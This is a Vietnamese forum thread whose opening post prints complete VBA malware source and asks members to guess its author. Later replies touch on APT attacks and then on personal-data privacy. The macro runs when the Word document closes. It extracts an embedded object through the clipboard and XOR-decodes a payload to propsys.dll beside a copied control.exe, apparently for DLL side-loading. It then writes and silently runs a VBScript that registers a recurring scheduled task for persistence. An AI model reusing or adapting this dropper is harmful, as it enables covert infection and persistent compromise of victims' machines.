Nhờ các bạn xem và đoán thử.

[ThangCuAnh]

Các bạn xem code này có nhận, đoán ra ai trong diễn đàn mình viết không ? Mạnh dạn cho ý kiến.
Những người kỳ cựu, sinh hoạt diễn đàn lâu năm có thể sẽ nhận ra ngay.

Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function _
CloseClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare PtrSafe Function _
EmptyClipboard& Lib "user32" ()
Private Declare PtrSafe Function _
GetClipboardData Lib "user32" (ByVal wFormat As LongPtr) As LongPtr

Private Declare PtrSafe Function _
GlobalSize& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Function _
GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem As LongPtr)
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare PtrSafe Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Private Declare PtrSafe Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMacCount As Long) As Long
#Else
Private Declare Function _
CloseClipboard& Lib "user32" ()
Private Declare Function _
OpenClipboard& Lib "user32" (ByVal hWnd&)
Private Declare Function _
EmptyClipboard& Lib "user32" ()
Private Declare Function _
GetClipboardData& Lib "user32" (ByVal wFormat&)
Private Declare Function _
GlobalSize& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalLock& Lib "kernel32" (ByVal hMem&)
Private Declare Function _
GlobalUnlock& Lib "kernel32" (ByVal hMem&)
Private Declare Sub CopyMem Lib "kernel32" Alias _
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length&)
Private Declare Function _
EnumClipboardFormats Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function _
GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMacCount As Long) As Long
#End If

Public result_exe As String
Public result_dll As String


Function GetContainer() As String
    GetContainer = Environ$("LOCALAPPDATA")
End Function


Function GetData(abData() As Byte) As Boolean
    #If VBA7 Then
        Dim fmt As LongPtr
    #Else
        Dim fmt As Long
    #End If
    Dim formatName As String, sBuffer As String
    Dim i As Long
    Dim bDataInClipboard As Boolean
    GetData = False
    If OpenClipboard(0&) Then
        fmt = EnumClipboardFormats(fmt)
        Do While fmt <> 0
            #If VBA7 Then
                Dim hWnd As LongPtr, size&, Ptr As LongPtr
            #Else
                Dim hWnd&, size&, Ptr&
            #End If

            formatName = String(255, vbNullChar)
            i = GetClipboardFormatName(fmt, formatName, 255)
            sBuffer = Left(formatName, i)
            bDataInClipboard = True

            If sBuffer = "Embedded Object" Then

                hWnd = GetClipboardData(fmt)
                If hWnd Then size = GlobalSize(hWnd)
                If size Then Ptr = GlobalLock(hWnd)

                If Ptr Then
                    ReDim abData(0 To size - 1) As Byte
                    CopyMem abData(0), ByVal Ptr, size
                    Call GlobalUnlock(hWnd)
                End If

                Dim dest As String
                dest = ""
                'If (size < 150000) Then
                '    dest = Environ("LOCALAPPDATA") & "\control.exe"
                '    result_exe = dest
                'Else
                '    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                '    result_dll = dest
                'End If

                If (size > 80000) And (size < 90000) Then
                    dest = Environ("LOCALAPPDATA") & "\propsys.dll"
                    result_dll = dest
                Else
                    GoTo NextIteration
                End If

                If dest = "" Then
                    GetData = False
                    Exit Do
                End If

                If Not writeMalFile(abData, dest) Then
                    GetData = False
                    Exit Do
                Else
                    GetData = True
                    Exit Do
                End If

            End If

NextIteration:
            fmt = EnumClipboardFormats(fmt)
        Loop

        EmptyClipboard
        CloseClipboard
        DoEvents
    End If
End Function


Function Extract() As Boolean
    ' Loop through all our OLE Objects to find the one we want
    Dim result As String, control_path As String
    result = GetContainer()
    Dim obj As Shape
    Extract = False
    Dim count As Integer
    count = 0

    On Error GoTo endfunction
    If ActiveDocument.Shapes.count < 1 Then
        Extract = False
    Else
        ClearClipboard
        For Each obj In ActiveDocument.Shapes
            Dim Buffer() As Byte
            If obj.OLEFormat.IconLabel = "map" Then
                obj.Select
                Selection.Copy
                If GetData(Buffer) Then
                    Extract = True
                    Exit For
                End If
            End If
        Next
    End If

    If Extract = True Then
        Dim obj_copy As Object
        Dim flag As Boolean
        Set obj_copy = CreateObject("Scripting.FileSystemObject")
        flag = isWin64bit()
        control_path = Environ("windir")
        If flag Then
            control_path = control_path + "\SysWOW64\control.exe"
        Else
            control_path = control_path + "\System32\control.exe"
        End If

        result_exe = Environ("LOCALAPPDATA") & "\control.exe"
        obj_copy.CopyFile control_path, result_exe
    End If
    Exit Function
endfunction:
    Extract = False
End Function


Function FileWriteBinary(vData As Variant, sFileName As String, Optional bAppendToFile As Boolean = False) As Boolean
    Dim iFileNum As Integer, lWritePos As Long

    On Error GoTo ErrFailed
    If bAppendToFile = False Then
        If Len(Dir$(sFileName)) > 0 And Len(sFileName) > 0 Then
            'Delete the existing file
            VBA.Kill sFileName
        End If
    End If

    iFileNum = FreeFile
    Open sFileName For Binary Access Write As #iFileNum

    If bAppendToFile = False Then
        'Write to first byte
        lWritePos = 1
    Else
        'Write to last byte + 1
        lWritePos = LOF(iFileNum) + 1
    End If

    Dim Buffer() As Byte
    Buffer() = vData
    Put #iFileNum, lWritePos, Buffer
    Close iFileNum

    FileWriteBinary = True
    Exit Function

ErrFailed:
    FileWriteBinary = False

End Function


Function Create()
    Dim a As String
    a = ""
    a = a & "Dim objSatkService, objRootFolder, objSatkFolder, objNewSatkDefinition" & vbCrLf
    a = a & "Dim objSatkTrigger, objSatkAction, objSatkTriggers, blnFoundSatk" & vbCrLf
    a = a & "Dim objSatkFolders" & vbCrLf

    a = a & "Set objSatkService = CreateObject(" & """" & "Schedule.Service" & """" & ")" & vbCrLf
    a = a & "Call objSatkService.Connect" & vbCrLf
    a = a & "Dim strTime" & vbCrLf

    a = a & "strTime = Year(Now()) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Month(Now()), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Hour(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Minute(Now()), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime = strTime & Right(" & """" & "0" & """" & " & Day(Now()), 2)" & vbCrLf

    a = a & "Dim strTime1" & vbCrLf

    a = a & "strTime1 = Year(DateAdd(" & """" & "n" & """" & ", 5, Now())) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Month(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "-" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & "T" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Hour(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Minute(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2) & " & """" & ":" & """" & vbCrLf
    a = a & "strTime1 = strTime1 & Right(" & """" & "0" & """" & " & Day(DateAdd(" & """" & "n" & """" & ", 5, Now())), 2)" & vbCrLf

    a = a & "Set objSatkFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objRootFolder = objSatkService.GetFolder(" & """" & "\" & """" & ")" & vbCrLf
    a = a & "Set objSatkFolders = objRootFolder.GetFolders(0)" & vbCrLf

    a = a & "For Each objSatkFolder In objSatkFolders" & vbCrLf
    a = a & "    If objSatkFolder.Path = " & """" & "\ActivexInstaller" & """" & " Then" & vbCrLf
    a = a & "        blnFoundSatk = True" & vbCrLf
    a = a & "        Exit For" & vbCrLf
    a = a & "    End If" & vbCrLf
    a = a & "Next" & vbCrLf

    a = a & "If Not blnFoundSatk Then Set objSatkFolder = objRootFolder.CreateFolder(" & """" & "\ActivexInstaller" & """" & ")" & vbCrLf

    a = a & "Set objNewSatkDefinition = objSatkService.New" & "Ta" & "sk(0)" & vbCrLf

    a = a & "With objNewSatkDefinition" & vbCrLf
    a = a & "    .Data = " & """" & """" & vbCrLf
    a = a & "    With .RegistrationInfo" & vbCrLf
    a = a & "        .Author = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .Date = strTime" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    With .principal" & vbCrLf
    a = a & "        .ID = " & """" & "My ID" & """" & vbCrLf
    a = a & "        .DisplayName = " & """" & "Principal Description" & """" & vbCrLf
    a = a & "       '.UserId = " & """" & "Domain\myuser" & """" & vbCrLf
    a = a & "        .UserId = objSatkService.ConnectedDomain & " & """" & "\" & """" & " & objSatkService.ConnectedUser" & vbCrLf
    a = a & "        .LogonType = 3" & vbCrLf
    a = a & "        .RunLevel = 0" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkTriggers = .triggers" & vbCrLf
    a = a & "    Set objSatkTrigger = objSatkTriggers.Create(1)" & vbCrLf
    a = a & "    With objSatkTrigger" & vbCrLf
    a = a & "        .Enabled = True" & vbCrLf
    a = a & "        .ID = " & """" & "TimeTriggerID1" & """" & vbCrLf
    a = a & "        .StartBoundary = strTime1" & vbCrLf

    a = a & "        With .Repetition" & vbCrLf
    a = a & "            .Duration = " & """" & "P1D" & """" & vbCrLf
    a = a & "            .Interval = " & """" & "PT30M" & """" & vbCrLf
    a = a & "        End With" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "    Set objSatkAction = .Actions.Create(0)" & vbCrLf
    a = a & "    With objSatkAction" & vbCrLf
    a = a & "        .Path = " & """" & result_exe & """" & vbCrLf
    a = a & "    End With" & vbCrLf

    a = a & "End With" & vbCrLf

    a = a & "Call objSatkFolder.RegisterTaskDefinition( _" & vbCrLf
    a = a & "    " & """" & "ActivexInstaller" & """" & ", objNewSatkDefinition, 6, , , 3)" & vbCrLf

    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim oFile As Object
    Dim cPath As String
    cPath = Environ("APPDATA") & "\abi.vbs"
    Set oFile = fso.CreateTextFile(cPath)
    oFile.WriteLine a
    oFile.WriteLine "Wscript.Quit"
    oFile.Close
    Set fso = Nothing
    Set oFile = Nothing

    Shell "cscript " & Chr(34) & cPath & Chr(34), vbHide
End Function


Private Function ReadFile(sFile As String) As Byte()
    Dim nFile       As Integer

    nFile = FreeFile
    Open sFile For Binary As #nFile
    If LOF(nFile) > 0 Then
        ReDim ReadFile(0 To LOF(nFile) - 1)
        Get nFile, , ReadFile
    End If
    Close #nFile
End Function


Private Sub Document_Close()
    MsgBox "Are you sure you want to exit the application?", vbQuestion

    If Not Extract Then Exit Sub
    If Dir(result_dll) <> "" Then
        Create
    End If

End Sub


Function writeMalFile(buf() As Byte, dest As String) As Boolean

    Dim pattern(7) As Byte
    pattern(0) = &HD4
    pattern(1) = &HC3
    pattern(2) = &H9
    pattern(3) = &H99
    pattern(4) = &H9A
    pattern(5) = &H99
    pattern(6) = &H99

    Dim match As Integer, pos As Integer
    Dim x As Long, i As Long
    match = 0
    Dim flag As Boolean
    flag = False
    writeMalFile = False

    For x = 0 To UBound(buf)
        If buf(x) = pattern(0) Then
            For i = 1 To UBound(pattern)
                If pattern(i) <> buf(x + i) Then
                    match = 0
                    Exit For
                Else
                    match = match + 1
                    If match = 6 Then
                        flag = True
                        pos = x
                        Exit For
                    End If
                End If
            Next

            If flag = True Then
                Exit For
            End If
        End If
    Next x

    If flag = True Then
        Dim iLength As Long, iLength_ As Long, iLength__ As Long
        iLength = buf(x - 4)
        iLength_ = buf(x - 3)
        iLength__ = buf(x - 2)

        iLength = iLength + iLength_ * 256 + iLength__ * 65536

        ReDim Buffer(0 To (iLength - 1)) As Byte
        For i = 0 To (iLength - 1)
            Buffer(i) = buf(x + i) Xor &H99
        Next i

        If FileWriteBinary(Buffer, dest) Then
            writeMalFile = True
        End If
    Else
        writeMalFile = False
    End If
End Function

Function ClearClipboard()
    OpenClipboard (0&)
    EmptyClipboard
    CloseClipboard
End Function

Function isWin64bit() As Boolean
    isWin64bit = 0 < Len(Environ("ProgramW6432"))
End Function

 

[ongke0711]

Tôi thấy bài viết của bạn ThangCuAnh chỉ lên tiếng cảnh cáo chính nhân vật đã viết cái code trên cài malware, virus tấn công Apt target gì đó thôi chứ có phải khoe khoang gì với mọi người với khả năng truy tìm thông tin đâu mà thấy các ông anh cà khịa vậy ta?

 

[VetMini]

... có phải khoe khoang gì với mọi người với khả năng truy tìm thông tin đâu mà thấy các ông anh cà khịa vậy ta?

Đọc bài số #8, có thể bạn không cảm thấy gì. Nhưng cá nhân tôi thì thấy đó là một lời dằn mặt.

Chú: thực ra vụ này tôi đã thấy xảy ra ở một diễn đàn khác.

 

[batman1]

Khác với người Tây Âu, người VN rất ít tôn trọng cái gọi là dữ liệu cá nhân.
Ở Tây Âu, kẻ "nắm hết chi tiết cá nhân" được coi là làm bậy.
Ở VN, kẻ "nắm hết" này được tôn vinh là tài giỏi, đáng phục.

Ba Lan có Luật Bảo vệ Dữ liệu Cá Nhân". EU ra thêm RODO (văn bản là General Data Protection Regulation), tôi chửi bọn nó mỗi khi lướt mạng. Dù vào trang nào đọc báo thôi là nó hiện lên mục "..." phải đồng ý, tắt đi với hàm ý là đã đọc và chấp nhận "...". Khổ không chịu được. Bọn nó phải tuân theo luật của EU thôi. Chửi là chửi bọn quan ngồi ở Brussels.

 

[VetMini]

Dù rằng "... phải đồng ý, ..." vân vân, nhưng ít nhất ở Tây Âu người ta cũng hiểu rằng "dữ liệu cá nhân" là cái nên bảo vệ.

Tôi nhớ có người khoe một cái áp kia, cho nó một địa chỉ (*) thì nó đưa ra tên chủ hộ. Người ấy xuýt xoa khen là giỏi, là hay.

(*) lúc người ấy cho tôi xem thì nó chỉ mới bao trùm SG. Về sau này còn thêm thành phố, tỉnh nào nữa thì tôi không biết.

 

[batman1]

Tôi nhớ có người khoe một cái áp kia, cho nó một địa chỉ (*) thì nó đưa ra tên chủ hộ. Người ấy xuýt xoa khen là giỏi, là hay.

Và có một rừng "tay vỗ", nể phục sát đất.

 

[ppc0312]

Không phải là "chắc nó chừa mình ra" mà là chắc chắn "nó không nói về mình". Nó nói về người khác. Nhưng điều đó có nghĩa là nó có khả năng nắm hết: "là ai, nhà ở đâu, số đt, fb, zalo" của bất cứ người nào. Thế mà không nhột à? Khác gì mình trần như nhộng, không có gì che chắn, bảo vệ. Sợ lắm ai ơi cái cảm giác người ta biết hết khi nào mình ăn gì, làm gì, đi với cô tiếp viên karaoke "ngoài luồng" khi nào, bay lắc ở đâu, lô đề khi nào ...

Là kẻ ai cũng biết là ai .....
Đó là câu nói trong truyên HarryPorter

Dù rằng "... phải đồng ý, ..." vân vân, nhưng ít nhất ở Tây Âu người ta cũng hiểu rằng "dữ liệu cá nhân" là cái nên bảo vệ.

Tôi nhớ có người khoe một cái áp kia, cho nó một địa chỉ (*) thì nó đưa ra tên chủ hộ. Người ấy xuýt xoa khen là giỏi, là hay.

(*) lúc người ấy cho tôi xem thì nó chỉ mới bao trùm SG. Về sau này còn thêm thành phố, tỉnh nào nữa thì tôi không biết.

Tiến tới như ông bên hàng xóm: thì còn có các camera giám sát, AI nhận dạng ... thì chủ hộ đang đi đâu bước tiếp chân trái hay chân phải còn biết